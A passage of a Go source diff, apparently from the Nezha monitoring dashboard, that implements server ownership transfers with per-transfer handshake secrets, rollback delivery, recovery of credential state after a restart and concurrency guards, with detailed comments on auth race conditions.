map[uint64]string + // initiating tracks servers whose InitiateExclusive call is currently + // running the DB transaction. It exists separately from `pending` + // because the row hasn't been Registered yet — without this set, two + // concurrent callers could both pass the HasPending guard, both run + // their transactions, and both succeed in creating Pending rows. + initiating map[uint64]bool + // applyConfigSendLocks orders ApplyConfig sends per server transfer lifecycle. + // Do not use c.mu for this: stream.Send may block, but stale new-secret + // pushes and cancel/fail/timeout revert pushes must not overtake each other + // for the same server because the agent applies the last task it receives. + applyConfigSendLocks sync.Map + + subMu sync.Mutex + subs map[uint64]chan *model.ServerTransfer + nextSubID uint64 + + timeout time.Duration + stopOnce sync.Once + stopCh chan struct{} +} + +// ErrServerAlreadyTransferring is returned by InitiateExclusive when a +// concurrent caller has already claimed the server for a new transfer (or a +// Pending row already exists). Callers that surface a structured outcome +// (batch-move, retry) should detect it with errors.Is and translate to +// their domain-specific status. +var ErrServerAlreadyTransferring = errors.New("server already has an in-flight transfer") + +// ErrAgentTooOldForTransfer is returned by InitiateExclusive when the agent's +// reported build version is older than MinServerTransferAgentVersion and +// therefore does not understand TaskTypeServerTransferApply. Refusing the +// transfer up-front avoids a 24h timeout sweep on an agent that will never +// reply. If the agent has never connected (Server.Host == nil) the check is +// deferred to OnAgentReconnect / PushIfOnline. +var ErrAgentTooOldForTransfer = fmt.Errorf("agent build older than %s does not support server transfer (TaskTypeServerTransferApply)", MinServerTransferAgentVersion) + +// agentSupportsTransfer reports whether s has reported a build version >= +// MinServerTransferAgentVersion. Returns true when version is unknown (agent +// never reported) so callers can defer the decision; PushIfOnline re-checks +// at push time. +func agentSupportsTransfer(s *model.Server) bool { + if s == nil { + return true + } + runtime := s.RuntimeSnapshot() + if runtime.Host == nil { + return true + } + v := strings.TrimSpace(runtime.Host.Version) + if v == "" { + return true + } + if !strings.HasPrefix(v, "v") { + v = "v" + v + } + if !semver.IsValid(v) { + return true + } + return semver.Compare(v, MinServerTransferAgentVersion) >= 0 +} + +// NewServerTransferClass loads any persisted Pending transfers from the DB +// into the in-memory index and starts the timeout sweeper. Called from +// LoadSingleton. +func NewServerTransferClass() *ServerTransferClass { + c := &ServerTransferClass{ + pending: make(map[uint64]*model.ServerTransfer), + revertDeliveries: make(map[uint64]*model.ServerTransfer), + terminalSecretRecovery: make(map[uint64]*model.ServerTransfer), + verifiedHandshakes: make(map[uint64]string), + initiating: make(map[uint64]bool), + subs: make(map[uint64]chan *model.ServerTransfer), + timeout: defaultServerTransferTimeout, + stopCh: make(chan struct{}), + } + + var pending []model.ServerTransfer + // 不要再吞掉这个错误：旧代码直接 DB.Where(...).Find(&pending) 忽略 + // res.Error，schema 损坏 / 表丢失 / DB 锁等情况下 pending 会被静默 + // 留空，所有进行中的 transfer 在 dashboard 重启后就丢失了 auth 容忍窗口， + // 对应 agent 会在重连时被拒绝。GORM 默认 logger 也会打这条 SQL，但混在 + // SQL 日志里很难被注意到；这里显式发一条 NEZHA>> 前缀让运维能立刻看到。 + if res := DB.Where("status = ?", model.ServerTransferStatusPending).Find(&pending); res.Error != nil { + log.Printf("NEZHA>> ServerTransferClass: failed to load pending transfers from DB: %v", res.Error) + } + for i := range pending { + t := pending[i] + // Ghost guard: the server may have been hard-deleted while the + // dashboard was down. Skipping orphans keeps HasPending honest + // (no false positives blocking new transfers) and prevents the + // timeout sweeper from looping forever on a row whose server + // row no longer exists. + if server, ok := ServerShared.Get(t.ServerID); !ok || server == nil { + log.Printf("NEZHA>> ServerTransferClass: dropping pending transfer %d for missing server %d", t.ID, t.ServerID) + continue + } + c.pending[t.ServerID] = &t + } + + var reverted []model.ServerTransfer + // acked_at IS NULL is non-negotiable: MarkRevertDelivered persists + // acked_at the moment the agent has provably rotated to the rollback + // credential and intentionally clears the in-memory delivery + recovery + // slots to close the auth tolerance window. Without filtering on + // acked_at here, every dashboard restart within + // defaultRevertDeliveryRecoveryWindow rehydrates the consumed rollback + // into revertDeliveries / terminalSecretRecovery and reopens the + // LookupRevertDelivery + LookupByTerminalSecretRecovery paths in + // service/rpc/auth.go — readmitting the rolled-back ToUserID's global + // AgentSecret long after the rollback has been delivered. ACKed rows + // are rebuilt below into verifiedHandshakes from the same acked_at, + // so the long-term credential the agent actually holds on disk still + // authenticates. + if res := DB. + Where("status IN ? AND updated_at >= ? AND acked_at IS NULL", []model.ServerTransferStatus{ + model.ServerTransferStatusFailed, + model.ServerTransferStatusTimeout, + model.ServerTransferStatusCancelled, + }, time.Now().Add(-defaultRevertDeliveryRecoveryWindow)). + Order("updated_at ASC"). + Find(&reverted); res.Error != nil { + log.Printf("NEZHA>> ServerTransferClass: failed to load reverted transfer deliveries from DB: %v", res.Error) + } + for i := range reverted { + t := reverted[i] + server, ok := ServerShared.Get(t.ServerID) + if !ok || server == nil || server.GetUserID() != t.FromUserID { + continue + } + c.revertDeliveries[t.ServerID] = &t + c.terminalSecretRecovery[t.ServerID] = &t + } + + // Rebuild verifiedHandshakes by merging Verified rows and acked rollback + // rows and picking, per server, the credential whose AckedAt is the + // newest. That AckedAt is the moment the agent provably rotated to that + // secret — so the newest one is the one currently on disk. The old + // two-pass "Verified first, rollback only fills empty slots" approach + // stranded the agent in the chained transfer+rollback case where the + // rollback credential is newer than the older Verified credential. + var verified []model.ServerTransfer + if res := DB. + Where("status = ? AND acked_at IS NOT NULL", model.ServerTransferStatusVerified). + Find(&verified); res.Error != nil { + log.Printf("NEZHA>> ServerTransferClass: failed to load verified transfers from DB: %v", res.Error) + } + var rollbackAcked []model.ServerTransfer + if res := DB. + Where("status IN ? AND acked_at IS NOT NULL", []model.ServerTransferStatus{ + model.ServerTransferStatusFailed, + model.ServerTransferStatusTimeout, + model.ServerTransferStatusCancelled, + }). + Find(&rollbackAcked); res.Error != nil { + log.Printf("NEZHA>> ServerTransferClass: failed to load acked rollback transfers from DB: %v", res.Error) + } + + type credCandidate struct { + serverID uint64 + transferID uint64 + secret string + ackedAt time.Time + isRevert bool + toUserID uint64 + } + candidates := make([]credCandidate, 0, len(verified)+len(rollbackAcked)) + for i := range verified { + t := verified[i] + if t.HandshakeSecret == "" || t.AckedAt == nil { + continue + } + candidates = append(candidates, credCandidate{ + serverID: t.ServerID, + transferID: t.ID, + secret: t.HandshakeSecret, + ackedAt: *t.AckedAt, + toUserID: t.ToUserID, + }) + } + for i := range rollbackAcked { + t := rollbackAcked[i] + if t.RevertHandshakeSecret == "" || t.AckedAt == nil { + continue + } + candidates = append(candidates, credCandidate{ + serverID: t.ServerID, + transferID: t.ID, + secret: t.RevertHandshakeSecret, + ackedAt: *t.AckedAt, + isRevert: true, + toUserID: t.FromUserID, + }) + } + // Sort newest-first by AckedAt, breaking ties with transferID. AckedAt + // alone is not enough on platforms whose time.Now() granularity is + // coarse (Windows: ~15.6ms): MarkVerified and the immediately-following + // MarkRevertDelivered routinely produce identical timestamps, and a + // stable sort then leaves the Verified candidate (appended first) ahead + // of the rollback that is actually on disk, locking the agent out on + // restart. transferID is monotonically increasing within a server's + // transfer lifecycle, so the later rotation always wins the tiebreak. + sort.SliceStable(candidates, func(i, j int) bool { + if candidates[i].ackedAt.Equal(candidates[j].ackedAt) { + return candidates[i].transferID > candidates[j].transferID + } + return candidates[i].ackedAt.After(candidates[j].ackedAt) + }) + + for _, cand := range candidates { + if _, alreadySeen := c.verifiedHandshakes[cand.serverID]; alreadySeen { + continue + } + server, ok := ServerShared.Get(cand.serverID) + if !ok || server == nil { + continue + } + // Forward Verified credential is accepted when either the server + // still belongs to ToUserID (steady state) or a subsequent transfer + // is Pending whose FromUserID equals this ToUserID (chained-transfer + // rollover window — agent on disk still holds the previous + // HandshakeSecret until MarkVerified on the new transfer). + // Rollback credential is accepted only when current owner still + // equals the original FromUserID (the rollback target). + if cand.isRevert { + if server.GetUserID() != cand.toUserID { + continue + } + } else { + if server.GetUserID() != cand.toUserID { + if pending, hasPending := c.pending[cand.serverID]; !hasPending || pending.FromUserID != cand.toUserID { + continue + } + } + } + c.verifiedHandshakes[cand.serverID] = cand.secret + } + + go c.timeoutSweepLoop() + return c +} + +// Stop terminates the background timeout sweeper. Intended for tests; in +// production the singleton lives for the lifetime of the process. +func (c *ServerTransferClass) Stop() { + c.stopOnce.Do(func() { + close(c.stopCh) + }) +} + +// LookupPending returns the pending transfer for a server if one exists. +// Hot path: called from authorizeAgentForUUID on every agent RPC, so it +// uses an RWMutex and a map lookup only. +func (c *ServerTransferClass) LookupPending(serverID uint64) (*model.ServerTransfer, bool) { + c.mu.RLock() + defer c.mu.RUnlock() + t, ok := c.pending[serverID] + return t, ok +} + +// HasPending reports whether the given server has an in-flight transfer. +// Used by Initiate to enforce the "one active transfer per server" invariant. +func (c *ServerTransferClass) HasPending(serverID uint64) bool { + c.mu.RLock() + defer c.mu.RUnlock() + _, ok := c.pending[serverID] + return ok +} + +func (c *ServerTransferClass) LookupRevertDelivery(serverID uint64) (*model.ServerTransfer, bool) { + c.mu.Lock() + defer c.mu.Unlock() + t, ok := c.revertDeliveries[serverID] + if ok && t.UpdatedAt.Before(time.Now().Add(-defaultRevertDeliveryRecoveryWindow)) { + delete(c.revertDeliveries, serverID) + return nil, false + } + return t, ok +} + +func (c *ServerTransferClass) ClearRevertDelivery(serverID, transferID uint64) { + c.mu.Lock() + if t, ok := c.revertDeliveries[serverID]; ok && t.ID == transferID { + delete(c.revertDeliveries, serverID) + } + c.mu.Unlock() +} + +// MarkRevertDelivered is called from the auth path the first time the agent +// authenticates with a transfer's RevertHandshakeSecret. The agent has now +// persisted that secret as its on-disk credential (handleApplyConfigTask's +// 10s timer has fired and applyPendingReload has saved + published it), so +// it is the long-term credential for this server until another transfer +// rotates it again. Promote it into verifiedHandshakes — the auth-path +// long-term map — and persist AckedAt so dashboard restart can rebuild. +// Without this, the only acceptance path is LookupByRevertHandshakeSecret, +// which prunes after defaultRevertDeliveryRecoveryWindow and leaves the +// agent permanently locked out. +func (c *ServerTransferClass) MarkRevertDelivered(serverID, transferID uint64) error { + now := time.Now() + res := DB.Model(&model.ServerTransfer{}). + Where("id = ? AND status IN ? AND acked_at IS NULL", transferID, []model.ServerTransferStatus{ + model.ServerTransferStatusFailed, + model.ServerTransferStatusTimeout, + model.ServerTransferStatusCancelled, + }). + Update("acked_at", &now) + if res.Error != nil { + return res.Error + } + + c.mu.Lock() + defer c.mu.Unlock() + // Agent has rotated to the revert secret on disk, so the entire + // per-server terminal-recovery slot (covering both forward and revert + // kinds for THIS transfer) is now stale. Promote the revert secret + // into verifiedHandshakes first so the long-term credential is in + // place before we drop the bounded recovery entry. + if t, ok := c.terminalSecretRecovery[serverID]; ok && t.ID == transferID && t.RevertHandshakeSecret != "" { + c.verifiedHandshakes[serverID] = t.RevertHandshakeSecret + t.AckedAt = &now + delete(c.terminalSecretRecovery, serverID) + } + // revertDeliveries is the push queue (drives pushRevertIfOnline); it + // can lag terminalSecretRecovery when Register-on-Retry already + // dropped the push entry. Clear by id only — a newer transfer's push + // entry must survive. + if t, ok := c.revertDeliveries[serverID]; ok && t.ID == transferID { + delete(c.revertDeliveries, serverID) + } + return nil +} + +// LookupByHandshakeSecret returns the Pending transfer whose per-transfer +// HandshakeSecret matches secret, or (nil, false). Called from the gRPC auth +// path so an agent that received the ApplyConfig and reconnected under the +// handshake secret can be authenticated without exposing the destination +// user's global AgentSecret. O(n) over the pending map: n is bounded by the +// count of in-flight transfers, in practice tiny. +func (c *ServerTransferClass) LookupByHandshakeSecret(secret string) (*model.ServerTransfer, bool) { + if secret == "" { + return nil, false + } + c.mu.RLock() + defer c.mu.RUnlock() + for _, t := range c.pending { + if t.HandshakeSecret == secret { + return t, true + } + } + return nil, false +} + +// LookupServerByVerifiedHandshakeSecret returns the server ID whose most +// recent Verified transfer's HandshakeSecret equals secret. Called from the +// auth path on every reconnect that misses the pending-handshake and +// revert-handshake lookups, so a Verified agent — whose persisted +// credential is the per-transfer handshake secret because no final-rotation +// ApplyConfig ever swaps it out — keeps authenticating across stream drops +// and restarts. O(n) over the verifiedHandshakes map, n is bounded by the +// number of distinct servers that have ever completed a transfer in this +// process's lifetime; in practice tiny relative to total auth traffic, and +// only consulted when the global secret lookup is about to fail. +func (c *ServerTransferClass) LookupServerByVerifiedHandshakeSecret(secret string) (uint64, bool) { + if secret == "" { + return 0, false + } + c.mu.RLock() + defer c.mu.RUnlock() + for serverID, s := range c.verifiedHandshakes { + if s == secret { + return serverID, true + } + } + return 0, false +} + +// TerminalRecoveryKind distinguishes which per-transfer secret matched +// inside terminalSecretRecovery so auth can pick the right post-match +// behaviour: forward → admit but do NOT promote (rollback delivery still +// has to happen); revert → admit and trigger MarkRevertDelivered to +// promote into verifiedHandshakes. +type TerminalRecoveryKind uint8 + +const ( + TerminalRecoveryNone TerminalRecoveryKind = iota + TerminalRecoveryForward + TerminalRecoveryRevert +) + +// LookupByTerminalSecretRecovery is the single auth-facing entry into +// terminalSecretRecovery. Both per-kind wrappers delegate here so there is +// exactly one TTL-prune + secret-match site to audit. Returns the matched +// transfer and which secret matched. +func (c *ServerTransferClass) LookupByTerminalSecretRecovery(secret string) (*model.ServerTransfer, TerminalRecoveryKind, bool) { + if secret == "" { + return nil, TerminalRecoveryNone, false + } + c.mu.Lock() + defer c.mu.Unlock() + cutoff := time.Now().Add(-defaultRevertDeliveryRecoveryWindow) + for serverID, t := range c.terminalSecretRecovery { + if t.UpdatedAt.Before(cutoff) { + delete(c.terminalSecretRecovery, serverID) + continue + } + if t.HandshakeSecret == secret { + return t, TerminalRecoveryForward, true + } + if t.RevertHandshakeSecret == secret { + return t, TerminalRecoveryRevert, true + } + } + return nil, TerminalRecoveryNone, false +} + +// LookupByRevertHandshakeSecret keeps the prior per-kind signature so +// callers outside the singleton (auth.go's promote-on-success path) do +// not need to know about the unified table. Only returns matches with +// kind=revert. +func (c *ServerTransferClass) LookupByRevertHandshakeSecret(secret string) (*model.ServerTransfer, bool) { + t, kind, ok := c.LookupByTerminalSecretRecovery(secret) + if !ok || kind != TerminalRecoveryRevert { + return nil, false + } + return t, true +} + +// LookupByForwardHandshakeSecretInTerminalRecovery is the symmetric +// per-kind wrapper for the forward secret. Only returns matches with +// kind=forward. +func (c *ServerTransferClass) LookupByForwardHandshakeSecretInTerminalRecovery(secret string) (*model.ServerTransfer, bool) { + t, kind, ok := c.LookupByTerminalSecretRecovery(secret) + if !ok || kind != TerminalRecoveryForward { + return nil, false + } + return t, true +} + +func (c *ServerTransferClass) registerRevertDelivery(t *model.ServerTransfer) { + c.mu.Lock() + c.revertDeliveries[t.ServerID] = t + c.mu.Unlock() +} + +// registerTerminalSecretRecovery records the just-terminated transfer so +// auth can recognise either of its per-transfer secrets during the bounded +// recovery window. One call per revertTransition; the per-server slot is +// overwritten by a later terminal transition, mirroring the behaviour +// agents experience on disk (last credential applied wins). +func (c *ServerTransferClass) registerTerminalSecretRecovery(t *model.ServerTransfer) { + if t.HandshakeSecret == "" && t.RevertHandshakeSecret == "" { + return + } + c.mu.Lock() + c.terminalSecretRecovery[t.ServerID] = t + c.mu.Unlock() +} + +func (c *ServerTransferClass) applyConfigSendLock(serverID uint64) *sync.Mutex { + lock, _ := c.applyConfigSendLocks.LoadOrStore(serverID, &sync.Mutex{}) + return lock.(*sync.Mutex) +} + +// Initiate runs inside the given transaction and: +// - creates the ServerTransfer row with Status=Pending +// - flips Server.UserID to toUserID +// +// Caller is responsible for ensuring no concurrent transfer exists for +// serverID (HasPending check earlier in the same critical section) and for +// invoking Register + PushIfOnline after the transaction commits. +func (c *ServerTransferClass) Initiate(tx *gorm.DB, serverID, fromUserID, toUserID, initiatorID uint64) (*model.ServerTransfer, error) { + // Generate both handshake secrets up-front. PushIfOnline embeds + // HandshakeSecret in the agent ApplyConfig instead of the destination + // user's global AgentSecret; the rollback path mirrors with + // RevertHandshakeSecret. Per-transfer scope: a leak to a hijacked stream + // gives the attacker only this one server's rotation token, never the + // user's global secret. Generation must succeed — falling back to the + // global secret here would silently reintroduce the cross-user leak. + handshake, err := utils.GenerateRandomString(transferHandshakeSecretLength) + if err != nil { + return nil, fmt.Errorf("generate transfer handshake secret: %w", err) + } + revertHandshake, err := utils.GenerateRandomString(transferHandshakeSecretLength) + if err != nil { + return nil, fmt.Errorf("generate transfer revert handshake secret: %w", err) + } + t := &model.ServerTransfer{ + ServerID: serverID, + FromUserID: fromUserID, + ToUserID: toUserID, + InitiatorID: initiatorID, + Status: model.ServerTransferStatusPending, + HandshakeSecret: handshake, + RevertHandshakeSecret: revertHandshake, + } + if err := tx.Create(t).Error; err != nil { + return nil, err + } + // RowsAffected==1 is the only signal that a real server row was mutated: + // if the row was deleted between the caller's pre-check and this UPDATE, + // returning success would let Register publish a ghost pending entry and + // auth.go would then keep accepting the previous owner's secret for a + // server that doesn't exist. Surface the divergence so the surrounding + // transaction rolls back the orphan ServerTransfer. + res := tx.Model(&model.Server{}).Where("id = ?", serverID).Update("user_id", toUserID) + if res.Error != nil { + return nil, res.Error + } + if res.RowsAffected != 1 { + return nil, fmt.Errorf("server %d: ownership update affected %d rows (want 1) — row likely deleted concurrently", serverID, res.RowsAffected) + } + return t, nil +} + +// Register makes a freshly-persisted Pending transfer visible to the auth +// tolerance path. Must be called only after the Initiate transaction has +// committed, otherwise authorizeAgentForUUID could observe a transfer that +// doesn't yet exist in the DB. +// +// Ordering invariant: the in-memory Server.UserID is updated BEFORE the +// pending entry is published. Inverting these two would leave a window +// where authorizeAgentForUUID still sees the old owner via ServerShared +// and admits the old AgentSecret on the happy "owner match" path — +// bypassing the bounded pending-tolerance contract. +func (c *ServerTransferClass) Register(t *model.ServerTransfer) { + // SetUserID uses an atomic write because auth.go reads this hot-path field + // concurrently; ServerClass also serializes it with service reports. + ServerShared.setUserID(t.ServerID, t.ToUserID) + + c.mu.Lock() + c.pending[t.ServerID] = t + // Drop only the push queue entry: pushRevertIfOnline must not re-send + // the prior rollback now that a new transfer is taking over the agent's + // credential. The auth-side recovery for the prior transfer's secrets + // stays alive in terminalSecretRecovery — the agent's 10s reload may + // not have committed the rollback yet and we still need to admit either + // the previous forward HandshakeSecret (last-completed Verified) or + // the previous RevertHandshakeSecret (uncommitted rollback) until + // MarkVerified on this fresh transfer supersedes both. + delete(c.revertDeliveries, t.ServerID) + // Do NOT delete verifiedHandshakes[t.ServerID] here. The agent's on-disk + // credential is the previous HandshakeSecret (PushIfOnline never + // delivers a user-global secret), and that secret must keep + // authenticating for the entire rollover: Register precedes PushIfOnline, + // the agent's reload timer adds another ~10s delay, and PushIfOnline is + // best-effort against stream loss. MarkVerified replaces the entry with + // the new HandshakeSecret once the agent has provably rotated; + // Cancel/Fail/Timeout leave it in place so the agent stays online while + // ownership rolls back. + c.mu.Unlock() + + // Ownership has rotated to ToUserID — tear down any IOStream the + // previous owner had open against this server so it cannot survive + // into the new tenancy. + ServerTransferRevokeStreamsForServer(t.ServerID) + + c.broadcast(t) +} + +// InitiateExclusive runs the full create-and-publish flow for a new +// ServerTransfer with mutual exclusion on serverID. The HasPending check, +// the DB transaction, and the Register call are serialized via a per-server +// claim so two concurrent callers (e.g. two operators submitting batch-move +// at the same instant) cannot both pass the guard and end up creating two +// Pending rows for the same server. Without this, the older HasPending + +// Initiate + Register sequence had a TOCTOU window — both callers would +// observe "no pending", both run their tx, both Register, with the second +// Register silently overwriting the first in the in-memory index while two +// rows remained Pending in the DB. +// +// Returns ErrServerAlreadyTransferring when a Pending row already exists or +// another caller currently holds the claim. The caller is responsible for +// PushIfOnline after a successful return. +func (c *ServerTransferClass) InitiateExclusive(serverID, fromUserID, toUserID, initiatorID uint64) (*model.ServerTransfer, error) { + if s, ok := ServerShared.Get(serverID); ok && !agentSupportsTransfer(s) { + return nil, ErrAgentTooOldForTransfer + } + c.mu.Lock() + if _, hasPending := c.pending[serverID]; hasPending { + c.mu.Unlock() + return nil, ErrServerAlreadyTransferring + } + if c.initiating[serverID] { + c.mu.Unlock() + return nil, ErrServerAlreadyTransferring + } + c.initiating[serverID] = true + c.mu.Unlock() + + defer func() { + c.mu.Lock() + delete(c.initiating, serverID) + c.mu.Unlock() + }() + + var created *model.ServerTransfer + err := DB.Transaction(func(tx *gorm.DB) error { + t, err := c.Initiate(tx, serverID, fromUserID, toUserID, initiatorID) + if err != nil { + return err + } + created = t + return nil + }) + if err != nil { + return nil, err + } + + c.Register(created) + return created, nil +} + +// PushIfOnline best-effort sends an ApplyConfig task carrying the transfer's +// per-transfer HandshakeSecret to the affected agent. The destination user's +// global AgentSecret is intentionally NOT embedded: during Pending the agent +// stream is still authenticated by the OLD owner's secret (auth tolerance), +// and a malicious previous owner who hijacks the stream would otherwise +// recover a secret that grants access to every agent that destination user +// owns. HandshakeSecret is scoped to this single transfer and UUID; even if +// it leaks, the blast radius is one server. If the agent is offline +// (TaskStream nil), the push is skipped — OnAgentReconnect will retry when +// the agent returns. Errors are not surfaced; agent failure to apply is +// detected via the explicit TaskResult or the timeout sweeper. +// +// Stale-transfer guard: callers such as OnAgentReconnect look up the pending +// transfer and then call PushIfOnline, but a concurrent Cancel/MarkFailed/ +// MarkTimeout can settle the row between those two steps. The agent treats +// later ApplyConfig tasks as supersedes (last arrival wins inside the 10s +// reload window), so a stale push that races past pushRevertIfOnline would +// commit the rejected secret and lock the agent out. Re-check pending state +// right before Send to keep the push consistent with the dashboard's +// authoritative view. +func (c *ServerTransferClass) PushIfOnline(t *model.ServerTransfer) { + s, ok := ServerShared.Get(t.ServerID) + if !ok || s == nil { + return + } + stream := s.GetTaskStream() + if stream == nil { + return + } + + if !agentSupportsTransfer(s) { + if _, err := c.MarkFailed(t.ID, ErrAgentTooOldForTransfer.Error()); err != nil { + log.Printf("NEZHA>> ServerTransfer PushIfOnline: MarkFailed for too-old agent %d failed: %v", t.ServerID, err) + } + return + } + + if current, ok := c.LookupPending(t.ServerID); !ok || current.ID != t.ID { + return + } + + if t.HandshakeSecret == "" { + // Defence against a legacy Pending row loaded from a pre-fix DB + // snapshot. Without a handshake secret we have nothing safe to send; + // the operator must cancel and re-initiate the transfer. + log.Printf("NEZHA>> ServerTransfer PushIfOnline: transfer %d has empty HandshakeSecret; refusing to fall back to user-global AgentSecret", t.ID) + return + } + + payload, err := json.Marshal(map[string]string{ + "client_secret": t.HandshakeSecret, + }) + if err != nil { + return + } + + task := &pb.Task{ + Id: t.ID, + Type: model.TaskTypeServerTransferApply, + Data: string(payload), + } + lock := c.applyConfigSendLock(t.ServerID) + lock.Lock() + defer lock.Unlock() + if current, ok := c.LookupPending(t.ServerID); !ok || current.ID != t.ID { + return + } + c.sendApplyConfigTask(s, stream, task) +} + +// OnAgentReconnect is invoked by the gRPC RequestTask handler right after +// the new TaskStream is attached. If a Pending transfer exists for this +// server, push the ApplyConfig task — the agent reconnected with the old +// secret (the only secret it knows so far), so this is the moment to deliver +// the new one. +func (c *ServerTransferClass) OnAgentReconnect(serverID uint64) { + t, ok := c.LookupPending(serverID) + if ok { + c.PushIfOnline(t) + return + } + if t, ok := c.LookupRevertDelivery(serverID); ok { + c.pushRevertIfOnline(t) + } +} + +// pushRevertIfOnline best-effort sends an ApplyConfig task carrying the +// transfer's per-transfer RevertHandshakeSecret, instructing the agent to +// either skip or overwrite the swap it was about to perform. The source +// user's global AgentSecret is intentionally NOT embedded: after a Verified +// rollover the stream is authenticated by the NEW owner, and revealing the +// previous owner's user-global secret would compromise every agent that +// user owns. Used by revertTransition (Cancel / MarkFailed / MarkTimeout) +// to keep the agent's view of the credential in sync with the dashboard's +// reverted Server.UserID. +// +// Without this counter-push, an operator who cancels within the agent's 10s +// reload window leaves a permanent split-brain: the agent commits the swap to +// the rejected new secret and immediately fails auth because the dashboard +// has already restored ownership to FromUserID. The agent's ApplyConfig +// supersede behaviour relies on this counter-push to actually be delivered +// during the 10s window — that's the entire reason supersede exists. +// +// Best-effort: agent offline is fine if it never received the original task. +// If it already switched secrets before the revert landed, the reverted +// transfer is kept as a reconnect-delivery until the old secret is restored. +func (c *ServerTransferClass) pushRevertIfOnline(t *model.ServerTransfer) { + s, ok := ServerShared.Get(t.ServerID) + if !ok || s == nil { + return + } + stream := s.GetTaskStream() + if stream == nil { + return + } + + if t.RevertHandshakeSecret == "" { + log.Printf("NEZHA>> ServerTransfer pushRevertIfOnline: transfer %d has empty RevertHandshakeSecret; refusing to fall back to user-global AgentSecret", t.ID) + return + } + + payload, err := json.Marshal(map[string]string{ + "client_secret": t.RevertHandshakeSecret, + }) + if err != nil { + return + } + + task := &pb.Task{ + Id: t.ID, + Type: model.TaskTypeServerTransferApply, + Data: string(payload), + } + lock := c.applyConfigSendLock(t.ServerID) + lock.Lock() + defer lock.Unlock() + // Re-check revertDelivery currency inside the send lock. Without this, a + // concurrent Retry can install a new pending transfer (clearing + // revertDeliveries[serverID]) and have PushIfOnline win the lock first to + // deliver the new-owner secret; pushRevertIfOnline then acquires the lock + // next and Sends the old-owner rollback, which the agent's last-arrival + // supersede commits — silently rolling back the just-applied new secret + // and leaving the fresh transfer Pending until the 24h timeout sweep. + // Mirrors the in-lock LookupPending guard PushIfOnline uses at line ~338. + if current, ok := c.LookupRevertDelivery(t.ServerID); !ok || current.ID != t.ID { + return + } + // Send-success does NOT mean the agent has rotated yet: handleApplyConfigTask + // schedules the credential swap on a 10s time.AfterFunc, so the agent only + // reconnects under RevertHandshakeSecret well after Send returns. Clearing + // the recovery record here would close LookupByRevertHandshakeSecret before + // that reconnect arrives, falling through to the global-secret table that + // doesn't know the per-transfer token — and the agent ends up permanently + // locked out. Leave the record in place; it will be cleared on one of: + // (a) auth.go observing a successful reconnect under RevertHandshakeSecret + // (the agent has provably finished applying the rollback), + // (b) a Retry/Register installing a newer transfer for this server, + // (c) the natural defaultRevertDeliveryRecoveryWindow expiry sweep. + _ = c.sendApplyConfigTask(s, stream, task) +} + +func (c *ServerTransferClass) sendApplyConfigTask(s *model.Server, stream pb.NezhaService_RequestTaskServer, task *pb.Task) error { + // Keep Send synchronous under the per-server lock. A goroutine+timeout cannot + // cancel grpc.ServerStream.Send; returning early would let a stale new-secret + // ApplyConfig complete after a cancel/fail revert and overwrite the rollback. + // + // Route through Server.SendTask so the holder-scoped send mutex is + // honoured: cron / MCP CallAgent / MCP fs.transfer dispatch on the same + // gRPC stream and would otherwise race grpc-go's one-SendMsg-per-stream + // invariant. The captured stream argument is still passed to + // ClearTaskStreamIfCurrent so a reconnect mid-Send cannot wipe a newer + // published stream when Send fails on the stale one. + if err := s.SendTask(task); err != nil { + log.Printf("NEZHA>> ServerTransfer ApplyConfig send failed: serverID=%d transferID=%d: %v", s.ID, task.Id, err) + s.ClearTaskStreamIfCurrent(stream) + return err + } + return nil +} + +// MarkVerified finalizes a pending transfer after the agent has successfully +// reconnected under the new owner's secret. +// +// Return tuple: +// - (t, nil) — this call transitioned the row to Verified +// - (nil, nil) — idempotent no-op (no pending entry, or a concurrent caller +// already settled the row out of Pending so RowsAffected=0) +// - (nil, err) — DB-level failure during the CAS UPDATE; caller MUST log +// it or the auth-tolerance window stays open silently for this server +// +// The old signature returned (*ServerTransfer, bool) which conflated the +// idempotent no-op and the DB-error cases, so a broken DB looked identical to +// "already verified" and operators got no signal. The auth path now logs the +// error path explicitly; do not collapse the three return shapes back into a +// bool. +// +// The status update is gated by a WHERE clause so concurrent Cancel or +// timeout sweep cannot race past it: if status is no longer Pending in the +// DB, the UPDATE affects zero rows and the in-memory state is left alone. +// MarkVerified atomically transitions a Pending transfer to Verified. +// +// Invariant: c.mu is held across the DB CAS, the in-memory pending delete, +// and the verifiedHandshakes write. Callers reading c.pending under c.mu +// (auth.go's tolerance window) therefore can never observe a state where +// the DB row is Verified but c.pending still flags the transfer as Pending — +// the auth-bypass window that would otherwise let either a stale +// HandshakeSecret or the old owner's global AgentSecret authenticate +// between the two updates. +// +// Returns verified=true exactly when this call performed the Pending → +// Verified transition for the supplied (serverID, transferID). All other +// outcomes (no pending, transfer id mismatch, lost CAS, DB error) return +// verified=false and the caller (auth) must reject the credential. +func (c *ServerTransferClass) MarkVerified(serverID, transferID uint64) (verified bool, transfer *model.ServerTransfer, err error) { + c.mu.Lock() + + t, ok := c.pending[serverID] + if !ok || t.ID != transferID { + c.mu.Unlock() + return false, nil, nil + } + + now := time.Now() + res := DB.Model(&model.ServerTransfer{}). + Where("id = ? AND status = ?", t.ID, model.ServerTransferStatusPending). + Updates(map[string]any{ + "status": model.ServerTransferStatusVerified, + "acked_at": &now, + }) + if res.Error != nil { + c.mu.Unlock() + return false, nil, res.Error + } + if res.RowsAffected == 0 { + // Concurrent caller settled the row to a terminal status. The + // in-memory pending entry is now stale; drop it so the next auth + // call cannot read it. Do NOT promote any handshake secret. + delete(c.pending, t.ServerID) + c.mu.Unlock() + return false, nil, nil + } + t.Status = model.ServerTransferStatusVerified + t.AckedAt = &now + + delete(c.pending, t.ServerID) + // Promote the handshake secret to this server's long-term credential: + // PushIfOnline delivered ONLY HandshakeSecret to the agent, so the + // agent's persisted on-disk client_secret is exactly this string and + // every future reconnect presents it. Auth's verified-handshake lookup + // uses this map to keep accepting the credential after the pending + // entry has been removed. + if t.HandshakeSecret != "" { + c.verifiedHandshakes[t.ServerID] = t.HandshakeSecret + } + delete(c.terminalSecretRecovery, t.ServerID) + c.mu.Unlock() + + c.broadcast(t) + return true, t, nil +} + +// MarkFailed transitions a pending transfer to Failed with the supplied +// reason and reverts Server.UserID back to FromUserID. Used by the RPC +// handler when an agent reports an explicit failure via TaskResult. +func (c *ServerTransferClass) MarkFailed(transferID uint64, reason string) (*model.ServerTransfer, error) { + return c.revertTransition(transferID, model.ServerTransferStatusFailed, reason) +} + +// MarkTimeout transitions a pending transfer to Timeout and reverts +// Server.UserID. Invoked by the timeout sweeper. +func (c *ServerTransferClass) MarkTimeout(transferID uint64) 